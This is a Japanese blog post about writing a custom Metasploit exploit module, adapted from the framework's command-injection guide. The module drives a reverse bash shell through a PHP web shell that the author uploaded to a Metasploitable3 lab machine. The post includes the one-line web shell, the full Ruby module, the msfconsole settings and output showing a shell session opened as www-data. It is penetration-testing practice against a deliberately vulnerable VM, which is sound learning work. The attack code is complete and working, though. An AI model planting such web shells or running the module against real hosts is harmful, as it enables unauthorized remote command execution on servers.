Metasploitのガイドに従って、Exploitモジュールを作成してみた

Metasploitのサイトにある[How to write a cmd injection module](https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-write-a-cmd-injection-module.html)に従って、WebShellからリバースシェルで接続するExploitモジュールを作成してみました。
別の記事の[Metasploitable3 ファイルアップロードの脆弱性](https://qiita.com/tsuko5963/items/db7e7d617274e434d120)を使用して、アップロードしたWebShellをターゲットにしています。
# 最初に
基本的には、[How to write a cmd injection module](https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-write-a-cmd-injection-module.html)のコードを使用していますが、そのままだと、initialize methodでエラー（no implicit conversion of Hash into String）が発生して、使用できませんでしたので、`/usr/share/metasploit-framework/modules/exploits/linux/http/linuxki_rce.rb`および`/usr/share/metasploit-framework/modules/exploits/example.rb`を参考にして、修正しました。
# WebShell
Metasploitable3のuploadsフォルダにdavtestを使用してアップロードします。
```php:webshell.php
<?php echo system($_GET['cmd']); ?>
```
# モジュール
```ruby:custom_mod.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        # Here is where the metadata goes
        'Name' => 'Command Injection against a test Ping endpoint',
        'Description' => 'This exploits a command injection vulnerability against a test application',
        'License' => MSF_LICENSE,
        'Author' => ['tsuko5963'],
        'References' => [
          ['URL', 'https://metasploit.com/']
        ],
        'DisclosureDate' => '2025-05-11',
        'Platform' => ['linux'], # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash',
                'RPORT' => 80,
              }
            }
          ],
        ],
        'Payload' => {
          'BadChars' => "\x00",
        },
        'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
        # Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
      )
    )
  
  end

  def filter_bad_chars(cmd)
    return cmd
      .gsub(/&/, '%26')
      .gsub(/ /, '%20')
    end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => '/uploads/webshell.php',
      'encode_params' => false,
      'vars_get' => {
        'cmd' => "#{filter_bad_chars(cmd)}",
      }
    })
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    execute_command(payload.encoded)
  end
end
```
モジュールを`~/.msf4/modules/exploits/`にコピーします。
# 実行
metasploitを起動します。
```
msfconsole
```
custom_modを選択して、RHOSTSとLHOSTを設定して、オプションを確認します。
```
use exploit/custom_mod
set rhosts 192.168.56.123
set lhost 192.168.56.10
show options

Module options (exploit/custom_mod):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.56.123   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

```
実行します。
```
run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.123:32965) at 2025-05-11 16:29:21 +0900
id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```